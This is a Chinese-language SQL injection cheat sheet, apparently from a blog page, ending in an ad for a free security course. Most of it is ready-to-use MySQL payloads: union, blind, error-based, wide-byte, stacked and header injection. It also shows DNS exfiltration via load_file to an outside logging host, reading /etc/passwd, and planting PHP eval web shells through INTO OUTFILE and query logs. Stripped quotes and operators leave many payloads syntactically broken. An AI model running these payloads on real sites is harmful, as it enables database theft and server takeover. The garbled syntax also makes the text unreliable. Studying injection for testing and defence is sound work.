2026/5/21 13:43:32
网站建设
项目流程
专业建筑工程网站,wordpress修改中文字体,php网站开发实例教程百度,茶叶网站程序特殊字符0x3a:0x7e~0x23#注入基础
联合查询注入(union)
:::tips
页面将SQL查询内容显示出来#xff0c;即为有回显#xff0c;可以尝试联合查询注入
利用关键字union #xff0c;union all 拼接恶意SQL语句
:::
注入流程有报错#xff0c;可以利用报错。如#xff1a;?id…特殊字符0x3a:0x7e~0x23#注入基础联合查询注入(union):::tips页面将SQL查询内容显示出来即为有回显可以尝试联合查询注入利用关键字union union all 拼接恶意SQL语句:::注入流程有报错可以利用报错。如?id1 order by 4 --,有报错回显可以利用order by猜测字段数!使用union select **1,2,3,x..**获取回显字段位置?id-1 union select 1,2,3--注意union前面语句要出错不是报错!select后一定要拼接足够的字段数否则会报错如果测试都正常但是union select 1,2,3会导致页面报错说明字段类型不对可以使用null替代union select null,null,null找到回显位置后可以开始查库名database()表名列名,数据库版本等信息Mysql版本 5.0缺乏系统库information_schema所以通常情况下只能爆破表字段的名称Mysql 5.0存在information_schema可以通过下面语句获取所有数据库信息获取所有数据库 select schema_name from information_schema.schemata 获取当前数据库的所有表名 select table_name from information_schema.tables where table_schema database() 获取表名为users的所有列信息 select column_name from information_schema.columns where table_name users 获取当前数据库表users中id,username的值 select id,username from users;小总结-- 判断字段数目 order by -- 联合查询搜集信息(表中字段数为 3注意字符类型如 intString 之类的) union select 1,2,3 -- 查询当前数据库名称 union select 1,2,database(); -- 查询所有数据库 union select 1,2,group_concat(schema_name) from information_schema.schemata; --查询当前数据库中的所有表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema database(); -- 查询某表的列名 union select 1,2,group_concat(column_name) from information_shcema.columns where table_name student (studnet 表示 具体的表名) -- 查询数据 union select 1,2,group_concat(id,name,age) from student;具体使用:::info一般会选择最后一个可用字段用其他字段容易报错:::查所有表?id-1 **union select** 1,2,group_concat(table_name) from **information_schema.tables** **where** table_schemadatabase()--(table_schemadatabase() 表示目标表所在的数据库为当前数据库)查列名?id-1** union select** 1,2,group_concat(column_name) from **information_schema.columns where** table_nameusers--(table_name‘users’ 表示查询的表为users表)查值?id-1 union select 1,2,group_concat(0x23,username,0x23,password) from users --(0x23表示#号用于分割查询到的数据)盲注布尔盲注通过利用页面对逻辑真假的差异真/假进行判断是否可以进行布尔盲注原理select * from users where username$username **and (condition)**,其中and (condition)即为我们拼接的语句and 11 真and 12 假:::info上面两个只是最简单的布尔条件如果真和假的页面不同可以尝试布尔盲注一般注入点找到后可以用sqlmap去跑手工太慢了:::常用函数ascii():返回指定字符的ascii码count():计算结果集的数量length()返回指定字符串的长度substr()/substring(str,pos,length)返回截取的子字符串利用方式判断?id1 and 12 --和?id1 and 11 --页面不同说明存在布尔盲注常用语句求数据库长度?id1 and (length(database())8) -- ?id1 and (length(database())7) -- ?id-1 or (length(database())7) --求数据库名用字符来逐个对比从左往右截取一个字符 ?id1 and (left(database(),1)s) -- 从左往右截取2个字符 ?id1 and (left(database(),2)se) -- 从第一个字符开始截取一个字符其ascii码是否为115(s的ascii码是115) ?id1 and ascii(substr(database(),1,1))115 -- 从第二个字符开始截取一个字符其ascii码是否为101 ?id1 and ascii(substr(database(),2,1))101 -- 利用大小比较截取字符的ascii码 ?id1 and ascii(substr(database(),1,1))115求当前数据库中当前表的数量?id1 and 4(select count(table_name) from information_schema.tables where table_schemadatabase()) -- ?id1 and 4(select count(table_name) from information_schema.tables where table_schemasecurity) --求当前数据库表名长度表名的长度就是substr()函数中的7-16,即猜测库中表长是否为6 ?id1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),7,1)) -- 其中limit 1,1代表取security库中的第二个表即利用limit来控制第几个表 ?id1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 1,1),7,1)) -- 利用length()来猜测表长 ?id1 and (length((select table_name from information_schema.tables where table_schemasecurity limit 1,1))8) --求当前数据库名利用substr截取字段依次猜测 对security数据库中的第一个表的第一个字符进行ascii码的猜测可以利用limit控制第几个表 ?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))101 --求指定表中列的数量利用count()计数 ?id1 and (select count(column_name) from information_schema.columns where table_nameusers)20 --求对列名的长度利用substr猜测长度和猜表名长度一样 如果猜测正确则页面异常如果猜错也页面正常递增测试 ?id1 and ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,1),2,1)) -- 利用length()判断 ?id1 and length((select column_name from information_schema.columns where table_nameusers limit 0,1))2 --跑字段(一般直接用sqlmap跑)测试数据库security中表users的username字段的第一个数据的第一个字符的ascii是否为67 ?id1 and ascii(substr((select username from security.users limit 0,1),1,1))67 -- ?id1 and ascii(substr((select concat(username,:,password) from security.users limit 0,1),1,1))68 --时间盲注利用特定函数是页面返回内容存在时间差异进行条件判断常用函数if(1,2,3):如果语句1是True则执行语句2否则执行语句3sleep(x)延迟x秒后执行ascii(char):将字符转换为ascii码substr(str,pos,len):将字符串从pos位开始截取len长benchmark(count,exp)执行表达式expcount次case…when…then…else…end什么时候用无论输入什么都只显示无信息页面如登录页面。这种情况下可能只有登录失败页面错误页面被屏蔽了并且在没有密码的情况下登录成功的页面一般情况也不知道。在这种情况下有可能基于时间的 SQL 注入会有效无论输入什么都只显示正常信息页面。例如采集登录用户信息的模块页面采集用户的 IP浏览器类型referer 字段session 字段无论用户输入什么都显示正常页面使用方式以if(1,2,3)条件判断为例猜数据库名长度?id1 and if(length(database())7,1,sleep(5)) --如果数据库名称大于7则响应很快如果长度不大于7则等待5秒响应其他语句case...when[条件] then [条件True执行语句]else [条件False执行语句] end ?id1 and case 1 when 11 then sleep(5) else 1 end -- benchmark(count,exp) ?id1 and benchmark(10000000,md5(a))-- 预计2s 笛卡尔积 ?id1 and (select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C) -- 10秒报错注入服务器开启报错信息返回即回显报错信息可以通过特殊函数的错误使其参数页面输出报错函数通常对报错输出长度有限制可以通过函数进行分割输出可以利用group_concat()函数聚合数据常用报错函数exp()函数适用范围mysql 5.5.53时无法使用函数作用返回e的x次方的结果原理mysql能记录的double数据结果有限一但超出限制就会报错由于0按位取反取值为18446744073709551615直接造成double型溢出利用mysql函数正常取值会返回0的特性则有select exp(~(select * from (select version())x)); ?id1 and exp(~(select * from (select version())x)) --exp()函数套用两层子查询先查询select version()将结果集设为x在查询select * from x,将结果集x中的所有结果输出必须使用嵌套ExtractValue()语法extractvalue(xml_flag,xpath_expr)使用范围5.1.5原理Xpath格式语法书写错误就会报错:::info此报错注入和updatexml()都只能报错最大32位若要爆出32位之后的数据就需要借助mid()函数进行字符截取从32位以后的数据:::mid()函数语法mid(string,start,length)使用?id1 and extractvalue(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema database()),0x23),1,32)) --updatexml()语法updatexml(XML_document,Xpath_String,new_value)适应5.1.5原理同extractvalue()Payload:updatexml(1,concat(0x23,user(),0x23),1) ?id1 and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x23),1,32),1) --floor报错用到的函数floor()向下取整rand():取随机数若有参数x则每个x对应一个固定的值连续多次执行会变化但是可以预测floor(rand(0)*2):产生序列011011011…原理利用数据库表主键不能重复的原理使用GROPU BY分组产生主键key冗余导致报错若要利用floor报错注入数据库数据必须大于三条爆库 ?id1 and (select 1 from (select count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.COLUMNS GROUP BY x) as y -- 爆表 ?id1 and (SELECT 1 from (SELECT count(*),concat(0x23,(SELECT table_name from information_schema.TABLES WHERE table_schemadatabase() LIMIT 0,1),0x23,floor(rand(0)*2)) as x from information_schema.COLUMNS GROUP BY x) as y) --其他几何函数报错GeometryCollection?id1 AND GeometryCollection((select * from (select* from(select user())a)b)) -- polygon()?id1 AND polygon((select * from(select * from(select user())a)b))-- multipoint()?id1 AND multipoint((select * from(select * from(select user())a)b)) -- multilinestring()?id1 AND multilinestring((select * from(select * from(select user())a)b)) -- linestring()?id1 AND LINESTRING((select * from(select * from(select user())a)b)) -- multipolygon() ?id1 AND multipolygon((select * from(select * from(select user())a)b)) --GTID()原理参数格式错误?id1 and SELECT gtid_subset(user(),1) ?id1 and SELECT gtid_subtract((SELECT * from (SELECT users())a),1)name_const()原理mysql列名重复会导致报错通过name_const制造一个列作用只能获取数据库版本信息边界溢出原理当mysql数据库的边界数值进行运算时会触发报错例如:0-~0?id1 and (SELECT !(SELECT * from(SELECT mid(group_concat(table_name),21,32) from information_schema.tables where table_schema database())a)-~0) --宽字节注入原理Mysql配置**魔术引号(magic_quotes_gpc)**或者使用**addslashes()**函数对字符进行过滤时会在其前面加上\进行过滤而\ %5c由于国内一般使用GBK编码当注入参数里有%df(或%bf)时会使得%df%5c转化为一个汉字从而吃掉转义\使得可以起作用 %27# %23产生原因character_set_client和character_set_connection不同或者过滤函数iconvmb_convert_encoding使用不当Payload ?id1%df%27 and 11 %23有时候网站会设置UTF-8编码进行过滤,使用**iconv()**将GBK转化为UTF-8payload ?id1%e5%5c%27 and 11 -- %e5%5c 是 gbk 编码转换为 UTF-8 编码是 %e9%8c%a6 %e5%5c%27 首先从 gbk 编码经过 addslashes 函数之后变成 %e5%5c%5c%5c%27再通过 iconv()将其转换为 UTF-8 编码%e9%8c%a6%5c%5c%27 其中 %e9%8c%a6 是汉字%5c%5c%27 解码之后是\\#39;第一个\将第二个\转义使得 %27 单引号逃逸成功闭合语句order by注入原因order by 注入通常出现在排序中前端展示的表格某一列需要进行升序或者降序排列或者做排名比较的时候常常会用到 order by 排序order by 在 select 语句中紧跟在 where [where condition]后且 order by 注入无法使用预编译来防御由于 order by 后面需要紧跟 column_name而预编译是参数化字符串而 order by 后面紧跟字符串就会提示语法错误通常防御 order by 注入需要使用白名单的方式。利用方式基于报错注入判断通过order by列名根据排序返回的情况来判断是否存在或者使用超大数构成SQL语句错误返回多条记录导致报错 ?sort(select 1 union select 2) ?sortIF(11,1,(select 1 from information_schema.tables)) ?sortIF(12,1,(SELECT 1 from information_schema.tables)) 利用regexp() ?sort(select 1 regexp if(11,1,0x00)) // 正确 ?sort(select 1 regexp if(12,1,0x00)) // 错误 其他报错函数见报错注入 .....二次注入**原理**用户向数据库里存入恶意的数据在数据被插入到数据库之前肯定会对数据库进行转义处理但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里而一般都默认为数据库里的信息都是安全的查询的时候不会进行处理所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。用途无视密码进行登录重置密码利用 注册时admin # 当我们进行一些恶意操作时例如:重置密码 此时的数据库执行的语句会变为: UPDATE users SET PASSWORD$pass where usernameadmin# and password$curr_pass # 号后面内容全部被注释掉了整型注入无论输入 或 都会报错而改变数字不会触发报错可以尝试?id1 and 11如果没有报错而id1 and 12报错说明是整型注入通常语句如下 $queryselect username,email from member where id$id; 注入方式 id1 order by 3-- 或id1 order by 3# id1 union select 1,2,3# 然后就是相对应的注入手法进行数据获取堆叠注入原理在Mysql中分号;表示一条sql语句的结束若目标Mysql支持多语句执行就可以尝试堆叠注入但是只会返回第一条语句的内容一种利用方式 ?id2;insert into users(id,username,password) values(99,test,test) -- 强行插入数据 或者update更改数据内容加密注入GET/POST提交数据时发现提交的数据被加密了可能js加密那么在提交数据前抓包解密将注入语句写好然后将整个语句进行加密相同加密算法再将数据发过去。加密手段简单加密base64加密典型后面有等号一个或者两个复杂加密一般是前端js加密分析前端js加密代码有密码之类的可能存在后端加密无法处理伪静态注入首先要明白概念静态html、动态php,asp,jsp…、伪静态看URL大致就能发现伪静态页面看似是静态页面html实则为动态页面。静态页面纯展示内容无论谁访问看到的都一样没有数据交互只能看动态网站存在数据交互不同人看可能内容不一样伪静态判断方式利用Wappalyzer插件–看编程语言不一定准在控制台输入javascript:alert(document.lastModified)如果得到的时间和当前电脑时间一致就是伪静态否则就是静态伪静态地址看法http://xxx.xxx.xx.xx:xxx/test.php/id/1.html原型一般为http://xxx.xxx.xx.xx:xxx/test.php?id1 所以只需要在**1**处进行注入测试即可HTTP头注入场景**原理**从 HTTP 头中获取数据而未对获取到的数据进行过滤从而产生的注入。HTTP 头注入常常发生在程序采集用户信息的模块中。:::infohttp头部注入一般不懂使用注释符但是可以用and ‘1’1 之类逻辑语句替换:::主要可以注入的关键字X-Forwarded-For/Client-IP 用户 IP通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP] User-Agent 用户代理的设备信息很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中 Referer 告诉服务器该网页是从哪个页面链接过来的 Cookie 标识用户的身份信息通常经过加密 可以在上面几个HTTP数据中进行SQL注入的测试测试User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0** and extractvalue(1,concat(0x7e,(select database()),0x7e)) and 11**DNSlog盲注(DNS盲注)也叫OOB(Out-of-Band带外数据)注入默认情况下无法使用需要修改配置secure-file-priv**原理**关于特定网站的 DNS 查询的一份记录表。若 A 用户对 B 网站进行访问/请求等操作首先会去查询 B 网站的 DNS 记录由于 B 网站是被我们控制的便可以通过某些方法记录下 A 用户对于 B 网站的 DNS 记录信息。**利用方式**想要查询数据A让mysql服务端去请求A.evil.com通过记录evil.com的DNS记录就可以得到数据A**利用函数**load_file()应用场景三大注入报错盲注Union联合查询无法使用或盲注跑数据太慢有文件读取权限及secure-file-priv没有值即secure-file-priv 而不是null目标系统为Windows这里涉及到UNC路径Linux无法使用基本用法 and if((select load_file(concat(\\\\,(select database()),.xxxx.ceye.io\\abc))),1,0)--四个\\最后表示\,因为有两个是分别用来转义的.xxxx.ceye.io\\abc是让mysql数据库去请求的DNSlog服务器有在线的,abc是随便写的 and select load_file(concat(\\\\,(select user()),.xxxx.ceye.io\xxxx))文件读写读文件**作用**读取敏感文件、配置信息、数据库数据限制知道所读文件的绝对路径secure-file-priv的值为非NULL或者包含所读文件的绝对路径或者为空mysql服务对所读文件有读权限mysql连接的用户有FILE权限/ROOT用户/ROOT权限**高权限**使用查询当前用户是否有权限读写 and (select **File_priv** from **mysql.user** where **userroot** and **hostlocalhost**)Y%23(%23是#注释)secure_file_privenull 限制mysqld 不允许导入和导出 secure_file_priv/tmp/ 限制mysqld 的导入和导出只能在/tmp/目录下 secure_file_priv 不对mysqld 的导入和导出做限制三种方法查看当前secure-file-priv的值select secure_file_priv; select global.secure_file_priv; show variables like %secure%; 或者show variables like secure_file_priv; 或者: select user,file_priv from mysql.userPayload**load_file()和load data infile()**是不同版本的Mysql中读文件的函数load_file()函数load_file()支持网络路径 select load_file(文件绝对路径) ?id-1 union select 1,load_file(C:/test.txt); -- load_file()的路径可以被hex编码 ?id-1 union select 1,load_file(0x433a2f746573742e747874); -- 进行hex编码时不需要引号 load data infile()函数 load data infile /etc/passwd into table test FIELDS TERMINATED BY \n; select * from test;:::info在mysql 5.6.34版本后secure-file-priv设置默认为NULL只能通过修改配置文件才能:::写文件条件secure-file-priv无值或有可利用的目录指导目标绝对路径目标目录可写mysql权限足够写入目标文件不存在mysql5.5.53secure-file-priv默认为空主要函数into outfile可以写入多条数据并会在每⾏的结束加上换⾏符将数据写到文件里时有特殊的格式转换outfile后面不能接0x开头或者char转换以后的路径只能是单引号路径。into dumpfile只能写入一条数据dumpfile 在写⽂件时会保持⽂件的原⽣内容/原数据格式适合写二进制文件如exe文件udf提权的dll文件dumpfile后面的路径可以是单引号、0x、char转换的字符但是路径中的斜杠是/select * from users into outfile C:\test.txt 将users表中数据导出到test.txt文件中 select * from users into dumpfile C:\test1.txt补充利用导出函数的补充参数写shellFIELDS TERMINATED BY , 字段值之间以,分割 OPTIONALLY ENCLOSED BY 字段值以包裹 LINES TERMINATED BY \n 设置每⾏数据结尾的字符为换行符select * from users into outfile C:/phpStudy/test.php **LINES STARTING BY ?php eval($_POST[pass]);?**;Payloadoutfile一句话写?id-1 union select 1,?php eval($POST[c]);? into outfile C:/phpStudy/WWW/shell.php#Shell Hex编码?id-1 union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile C:/phpStudy/shell.phphex编码时引号就不用带入编码了日志getshell由于mysql在5.5.53后secure-file-priv默认为NULL使得正常读写文件无法使用所以可以尝试mysql生成日志的方法绕过。只有查询日志和慢查询日志可以利用条件权限足够大可以进行日志操作执行set语句知道目标目录的绝对路径利用利用慢查询日志 show variables like %query_log%; 查看慢查询日志状态 set global slow_query_log 1; 开启慢查询日志 set global slow_query_log_fileC:/phpstudy/WWW/test.php’; 修改日志文件的绝对路径 利用查询日志 show variables like %general_log%; 查看查询日志状态 set global general_log ON; 开启查询日志 set global general_log_file C:/phpStudy/WWW/test.php; 修改日志文件的绝对路径修改完日志条件后执行查询的恶意语句就会自动记录例如?id-1;select ?php eval($_POST[log]);? from users where sleep(11);#学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】